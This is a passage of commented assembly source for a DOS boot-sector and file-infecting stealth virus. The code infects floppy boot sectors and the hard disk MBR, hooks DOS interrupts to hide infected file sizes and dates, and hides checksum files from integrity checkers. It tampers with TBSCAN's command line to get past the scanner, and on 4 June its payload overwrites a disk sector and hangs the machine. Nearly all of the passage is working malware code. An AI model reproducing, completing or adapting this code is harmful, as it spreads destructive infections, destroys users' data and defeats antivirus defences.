;Point to format table ;(Track 50h,side 00h,200h bytes per sector) push cs pop es mov bx,offset format_table ;Format the extra track mov ax,0501h+inf_sect_size mov cx,5001h pop dx call do_int13h jnc extra_track_done ;Restore pointer to read buffer pop bx pop es jmp abort_floppy extra_track_done: ;Restore pointer to read buffer pop bx pop es ;Write original boot sector on first extra sector mov ax,0301h call do_int13h jc abort_floppy ;Copy virus body from hd to floppy ( sector by sector ) mov cx,inf_sect_size copy_hd_sector: push cx mov al,cl mov cl,inf_sect_size+04h sub cl,al mov dl,80h mov ax,0201h call do_int13h jnc hd_sector_ready replication_error: pop cx call read_boot_extra jmp abort_floppy hd_sector_ready: mov ch,50h sub cl,02h xor dl,dl mov ax,0301h call do_int13h jc replication_error pop cx loop copy_hd_sector ;Read original boot sector saved on extra track call read_boot_extra jc abort_floppy

;Save virus position on disk inc cl mov word ptr cs:[load_cx],cx ;Move virus loader into boot sector call get_position mov si,offset boot_code mov cx,boot_size cld rep movsb ;Write loader over floppy boot sector mov ax,0301h mov cl,01h call do_int13h ;Get original boot sector again call read_boot_extra abort_floppy: ;Restore int 1Eh lds dx,dword ptr cs:[old1Eh] mov al,1Eh call set_int jmp exit_floppy_infection read_boot_extra: ;Read original boot sector saved on extra track mov ax,0201h mov cx,5001h call do_int13h ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Perform int 13h call ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄdo_int13h: ;Check for floppy write operations cmp ah,03h jne do_not_use40h or dl,dl jz use_int40h do_not_use40h: ;Perform call pushf call dword ptr cs:[old13h] ret use_int40h: ;Perform call using int 40h pushf call dword ptr cs:[old40h] ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Virus loader ( inserted into hd mbr and floppy boot sectors ) ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄboot_code: ;Setup stack and segment regs cli xor ax,ax

mov mov mov mov sti

ss,ax es,ax ds,ax sp,7C00h

;Prepare for reading virus body mov ax,0200h+inf_sect_size ;Read at 0000h:7E00h mov bx,7E00h

load_cx

;Get position in disk ;mov cx,XXXXh db 0B9h dw 0000h sub dh,dh ;Read virus body next to loader int 13h jc error_init ;Continue execution on virus body push es push bx retf

error_init: ;Error during virus initialization int 18h ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Floppy boot sector infected marker ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄboot_marker boot_end

db "CR" ;End of boot code equ this byte

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Hook int 21h ( try to find original int 21h address using psp tracing ) ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄhook_dos: ;Save regs call push_all ;Check if dos has been loaded cmp byte ptr cs:[dos_flag],00h jne exit_wait ;Set dos loaded flag mov byte ptr cs:[dos_flag],0FFh ;Restore bios allocated memory xor ax,ax mov ds,ax add word ptr ds:[0413h],mem_kb_size ;Check dos version mov ah,30h int 21h cmp al,04h

jb exit_wait ;Get our segment push cs pop ds ;Get int 21h vector mov al,21h call get_int ;Save old int 21h vector mov word ptr ds:[old21h_off],bx mov word ptr ds:[old21h_seg],es ;Save old 21h as original for errors on psp tracing mov word ptr ds:[org21h_off],bx mov word ptr ds:[org21h_seg],es ;Point int 21h to our handler mov dx,offset my_int21h call set_int ;Try to find original 21h tracing psp mov ah,62h int 21h mov es,bx ;Point ds:si to dispatch handler lds si,dword ptr es:[0006h] trace_loop: ;Check if there is a jump instruction cmp byte ptr ds:[si],0EAh jne try_dispatcher ;Check if there is a double-nop lds si,dword ptr ds:[si+01h] mov ax,9090h cmp ax,word ptr ds:[si] jne trace_loop ;Sub offset from dispatcher sub si,32h ;Check if there is a double-nop cmp ax,word ptr ds:[si] je found_original try_dispatcher: ;Check for cs prefix and push ds cmp word ptr ds:[si],2E1Eh jne exit_wait ;Add offset from dispatcher add si,0025h ;Check for cli and push ax instructions cmp word ptr ds:[si],80FAh jne exit_wait found_original:

;Save found address mov word ptr cs:[org21h_off],si mov word ptr cs:[org21h_seg],ds exit_wait: ;Restore regs and return call pop_all ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Virus int 21h handler ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄmy_int21h: ;Save entry regs call push_all ;Get our code segment int ds push cs pop ds ;Set int 21h running switch mov byte ptr ds:[running_sw],0FFh ;Anti-heuristic function number examination xor ax,0FFFFh mov word ptr ds:[dos_function],ax ;Get int 24h vector mov al,24h call get_int ;Save old int 24h mov word ptr ds:[old24h_seg],es mov word ptr ds:[old24h_off],bx ;Hook int 24h to a do-nothing handler mov dx,offset my_int24h call set_int ;Check for special files mov ah,62h call dos_call dec bx mov es,bx mov ax,word ptr es:[0008h] mov byte ptr ds:[stealth_sw],00h ;Check if arj is running cmp ax,"RA" je disable_stealth ;Check for pkzip utils cmp ax,"KP" je disable_stealth ;Check for lha cmp ax,"HL" je disable_stealth ;Check for backup cmp ax,"AB" je disable_stealth

jmp no_running disable_stealth: mov byte ptr ds:[stealth_sw],0FFh no_running: ;Restore and re-save all regs call pop_all call push_all ;Put function number into bx mov bx,word ptr cs:[dos_function] ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Check for activation circunstances ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄactivation_00: ;Get dos date cmp bh,(2Ah xor 0FFh) jne infection_00 jmp dos_get_date ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Infection functions ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄinfection_00: ;Exec function ( save filename for later infection ) cmp bx,(4B00h xor 0FFFFh) jne infection_01 jmp dos_exec infection_01: ;Close file (Handle) cmp bh,(3Eh xor 0FFh) jne infection_02 jmp dos_close infection_02: ;Get or set file attribute cmp bh,(43h xor 0FFh) jne infection_03 jmp infect_file_ds_dx infection_03: ;Rename or move file cmp bh,(56h xor 0FFh) jne infection_04 jmp infect_file_ds_dx infection_04: ;Terminate program ( infect executed program ) cmp bh,(4Ch xor 0FFh) jne stealth_dos jmp dos_terminate_prog ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Stealth functions ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄstealth_dos: ;Check if stealth is disabled cmp byte ptr cs:[stealth_sw],0FFh je m21h_exit ;Open file (Handle) cmp bh,(3Dh xor 0FFh)

jne stealth_00 jmp dos_open stealth_00: ;Extended open cmp bh,(6Ch xor 0FFh) jne stealth_01 jmp dos_open stealth_01: ;Directory stealth works with function Findfirst (fcb) cmp bh,(11h xor 0FFh) jne stealth_02 jmp ff_fcb stealth_02: ;Directory stealth works also with function Findnext(fcb) cmp bh,(12h xor 0FFh) jne stealth_03 jmp ff_fcb stealth_03: ;Search stealth works with Findfirst (handle) cmp bh,(4Eh xor 0FFh) jne stealth_04 jmp ff_handle stealth_04: ;Search stealth works also with Findnext (handle) cmp bh,(4Fh xor 0FFh) jne stealth_05 jmp ff_handle stealth_05: ;Read stealth cmp bh,(3Fh xor 0FFh) jne stealth_06 jmp dos_read stealth_06: ;Disinfect if debuggers exec cmp bx,(4B01h xor 0FFFFh) jne stealth_07 jmp dos_load_exec stealth_07: ;Disinfect if file write cmp bh,(40h xor 0FFh) jne stealth_08 jmp dos_write stealth_08: ;Get file date/time cmp bx,(5700h xor 0FFFFh) jne stealth_09 jmp dos_get_time stealth_09: ;Set file date/time cmp bx,(5701h xor 0FFFFh) jne m21h_exit jmp dos_set_time m21h_exit: ;Free int 24h call unhook_ints call pop_all ;Get control back to dos jmp dword ptr cs:[old21h] ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Get dos date and payload ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

dos_get_date: ;Get regs values on function entry call pop_all ;Call dos function call dos_call ;Check if date is 4th of June cmp dx,0604h je activate_now clc retf 02h activate_now: ;Reset hd xor ax,ax int 13h ;Overwrite mbr copy mov bx,ax mov ax,0301h mov cx,0003h mov dx,0080h int 13h ;Set video-mode 80*25 16-Colors mov ax,0003h int 10h ;Set cursor position mov ah,02h xor bh,bh mov dx,0B16h int 10h ;Print string + beep push cs pop ds mov si,offset txt_credits_1 call loop_beep_string ;Set cursor position mov ah,02h xor bh,bh mov dx,0C16h int 10h ;Print string + beep push cs pop ds mov si,offset txt_credits_2 call loop_beep_string hang_machine: ;Endless loops rulez :P jmp hang_machine ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Directory stealth with functions 11h and 12h (fcb) ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄff_fcb: ;Call dos function

call pop_all call dos_call ;Save all regs call push_all ;Check for errors cmp al,255 je nofound_fcb ;Get current PSP mov ah,62h call dos_call ;Check if call comes from DOS mov es,bx cmp bx,es:[16h] jne nofound_fcb mov bx,dx mov al,ds:[bx+00h] push ax ;Get DTA mov ah,2Fh call dos_call pop ax inc al jnz fcb_ok add bx,07h fcb_ok: ;Check if infected mov ax,word ptr es:[bx+17h] and al,1Fh cmp al,1Fh jne nofound_fcb ;Restore seconds and byte ptr es:[bx+17h],0E0h ;Restore original file size sub word ptr es:[bx+1Dh],inf_byte_size sbb word ptr es:[bx+1Fh],0000h nofound_fcb: ;Restore some registers and return call unhook_ints call pop_all iret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Search stealth with functions 4Eh and 4Fh (handle) ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄff_handle: ;Call dos function call pop_all call dos_call jnc ffhok ;Exit if error, return flags to caller call unhook_ints stc retf 02h ffhok:

;Save result call push_all ;Get DTA mov ah,2Fh call dos_call ;Check if infected mov ax,word ptr es:[bx+16h] and al,1Fh cmp al,1Fh jne nofound_handle ;Restore seconds field and byte ptr es:[bx+16h],0E0h ;Restore original size sub word ptr es:[bx+1Ah],inf_byte_size sbb word ptr es:[bx+1Ch],0000h nofound_handle: ;Restore some registers and exit call unhook_ints call pop_all clc retf 02h ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Exec ( load program ) ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄdos_load_exec: ;Open file for read-only mov ax,3D00h call dos_call jnc loaded jmp m21h_exit loaded: xchg bx,ax jmp do_disinfect ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Write to file ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄdos_write: call pop_all call push_all do_disinfect: ;Get sft address in es:di call get_sft jc bad_operation ;Check if file is infected mov al,byte ptr es:[di+0Dh] mov ah,1Fh and al,ah cmp al,ah je clear_header bad_operation: jmp load_error clear_header: ;Save and set file open mode (read/write) mov cx,0002h

xchg cx,word ptr es:[di+02h] push cx ;Save and set file attribute xor al,al xchg al,byte ptr es:[di+04h] push ax ;Save and set file pointer position push word ptr es:[di+15h] push word ptr es:[di+17h] ;Get file true size if write operation cmp byte ptr cs:[dos_function+01h],(40h xor 0FFh) jne no_size_fix ;Add virus size to file size add word ptr es:[di+11h],inf_byte_size adc word ptr es:[di+13h],0000h no_size_fix: ;Point to old header in file call seek_end sub word ptr es:[di+15h],file_header_size+01h sbb word ptr es:[di+17h],0000h ;Read old header and encryption key push cs pop ds mov ah,3Fh mov cx,file_header_size+01h mov dx,offset old_header call dos_call jc exit_disin ;Decrypt header call decrypt_header ;Write old header call seek_begin mov dx,offset old_header mov ah,40h mov cx,file_header_size call dos_call ;Truncate file call seek_end sub word ptr es:[di+15h],inf_byte_size sbb word ptr es:[di+17h],0000h xor cx,cx mov ah,40h call dos_call exit_disin: ;Restore file pointer position pop word ptr es:[di+17h] pop word ptr es:[di+15h] ;Restore file attribute pop ax mov byte ptr es:[di+04h],al ;Restore file open mode pop word ptr es:[di+02h]

;Do not set file date and file time on closing or byte ptr es:[di+06h],40h ;Clear seconds field and byte ptr es:[di+0Dh],0E0h load_error: ;Check if write function cmp byte ptr cs:[dos_function+01h],(40h xor 0FFh) je not_load ;Close file mov ah,3Eh call dos_call not_load: jmp m21h_exit ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Get file date/time ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄdos_get_time: ;Call function call pop_all call dos_call jnc ok_get_time ;Exit if error call unhook_ints stc retf 02h ok_get_time: ;Save result call push_all ;Check if file is already infected mov al,cl mov ah,1Fh and al,ah cmp al,ah jne no_get_time ;Get function result call pop_all ;Clear infection marker and cl,0E0h jmp short exit_get_time no_get_time: call pop_all exit_get_time: call unhook_ints clc retf 02h ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Set file date/time ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄdos_set_time: ;Get function parameters call pop_all call push_all

;Get address of sft entry call get_sft jc no_set_time ;Check if file is already infected mov al,byte ptr es:[di+0Dh] mov ah,1Fh and al,ah cmp al,ah je ok_set_time no_set_time: ;Exit if not infected or error jmp m21h_exit ok_set_time: ;Perform time change but restore our marker call pop_all or cl,1Fh call push_all jmp m21h_exit ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Open file ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄdos_open: ;Call dos function call pop_all call dos_call jnc do_open_file ;Exit if error call unhook_ints stc retf 02h do_open_file: ;Save result call push_all ;Get sft for file handle xchg bx,ax call get_sft jc no_changes ;Check file name in sft push es pop ds mov si,di add si,0020h cld lodsw ;Check for chklist cmp ax,"HC" jne check_open_infection lodsw cmp ax,"LK" jne check_open_infection lodsw cmp ax,"SI" jne check_open_infection ;Close file mov ah,3Eh

call dos_call ;Exit with error ( file not found ) call unhook_ints call pop_all mov ax,0002h stc retf 02h check_open_infection: ;Check if file is infected mov al,byte ptr es:[di+0Dh] mov ah,1Fh and al,ah cmp al,ah jne no_changes ;If infected stealth true size sub word ptr es:[di+11h],inf_byte_size sbb word ptr es:[di+13h],0000h no_changes: ;Open operation complete, return to caller call unhook_ints call pop_all clc retf 02h ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Read file ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄdos_read: ;Restore function entry regs call pop_all call push_all ;Duplicate handle mov ah,45h call dos_call jc no_read_stealth xchg bx,ax push ax ;Close new handle in order to update directory entry mov ah,3Eh call dos_call pop bx ;Get address of sft entry call get_sft jc no_read_stealth ;Check if file is already infected mov al,byte ptr es:[di+0Dh] mov ah,1Fh and al,ah cmp al,ah jne no_read_stealth ;Check and save current offset in file mov ax,word ptr es:[di+15h] cmp ax,file_header_size

jae no_read_stealth cmp word ptr es:[di+17h],0000h jne no_read_stealth ;Save file-pointer position into header mov word ptr cs:[file_offset],ax call pop_all ;Save address of read buffer mov word ptr cs:[read_off],dx mov word ptr cs:[read_seg],ds ;Perform read operation call dos_call jnc check_read ;Error during file read call unhook_ints stc retf 02h no_read_stealth: ;Exit if no read stealth jmp m21h_exit check_read: ;Restore regs and get file sft call push_all call get_sft ;Save offset position push word ptr es:[di+15h] push word ptr es:[di+17h] ;Save file size push word ptr es:[di+11h] push word ptr es:[di+13h] ;Add virus size to file size add word ptr es:[di+11h],inf_byte_size adc word ptr es:[di+13h],0000h ;Point to old header in file call seek_end sub word ptr es:[di+15h],file_header_size+01h sbb word ptr es:[di+17h],0000h ;Read old header and encryption key push cs pop ds mov ah,3Fh mov cx,file_header_size+01h mov dx,offset old_header call dos_call jc exit_read ;Decrypt header call decrypt_header ;Move old header into read buffer les di,dword ptr cs:[read_ptr] mov si,offset old_header mov cx,file_header_size-01h mov ax,word ptr cs:[file_offset]

add add sub cld rep

di,ax si,ax cx,ax movsb

exit_read: ;We need this again call get_sft ;Restore file size pop word ptr es:[di+13h] pop word ptr es:[di+11h] ;Restore old offset in file pop word ptr es:[di+17h] pop word ptr es:[di+15h] ;Restore regs and exit call unhook_ints call pop_all clc retf 02h ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Terminate program ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄdos_terminate_prog: ;Try to infect file that was executed ;(filename in our buffer) push cs pop ds mov dx,offset execute_filename jmp infect_file_ds_dx ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Exec ( execute program ) ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄdos_exec: ;Restore function entry regs call pop_all call push_all ;Save segmet of parameter block push es ;Copy filename into our buffer mov si,dx mov di,offset execute_filename push cs pop es copy_filename: lodsb stosb or al,al jnz copy_filename ;Restore segment of parameter block pop es

;Check if file to execute is win.com cmp word ptr ds:[si-04h],"OC" jne no_win_com cmp word ptr ds:[si-08h],"IW" jne no_win_com cmp word ptr ds:[si-06h],".N" jne no_win_com ;Add parameters to win.com call find_end_string jc exit_add_param mov cx,0005h mov bx,offset win_param_string jmp short found_end_string no_win_com: ;Check if file to execute is tbscan.exe cmp word ptr ds:[si-07h],"NA" jne exit_add_param cmp word ptr ds:[si-09h],"CS" jne exit_add_param cmp word ptr ds:[si-0Bh],"BT" jne exit_add_param ;Add parameters to tbscan.exe call find_end_string jc exit_add_param mov cx,0006h mov bx,offset tbscan_param_string found_end_string: ;Add to number of characters add byte ptr ds:[di],cl ;Number of characters + carriage ret inc cx mov di,si ;Point over carriage ret of original command parameter string dec di ;Get offset of our param string mov si,bx push ds pop es push cs pop ds ;Write it over original command parameter string rep movsb exit_add_param: ;Return to virus int 21h handler jmp m21h_exit ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Find end of command parameter string ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄfind_end_string: ;Get address of command parameter string lds si,dword ptr es:[bx+02h] mov di,si

;Check if no parameters lodsb or al,al jnz no_zero_param inc si clc ret no_zero_param: ;Find end of command parameter string mov cx,007Fh search_carriage_ret: lodsb cmp al,0Dh jne try_next_char clc ret try_next_char: loop search_carriage_ret stc ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Infect file ( ds:dx ptr to filename ) ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄinfect_file_ds_dx: ;Open file for read-only mov ax,3D00h call dos_call jnc ok_file_open jmp file_error ok_file_open: xchg bx,ax jmp short from_open ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Infect file on close ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄdos_close: ;Get function parameters call pop_all call push_all ;Duplicate handle mov ah,45h call dos_call jc file_error xchg bx,ax push ax ;Close new handle in order to update directory entry mov ah,3Eh call dos_call pop bx from_open: ;Check if file infection is disabled cmp byte ptr cs:[file_infection_flag],0FFh jne file_error

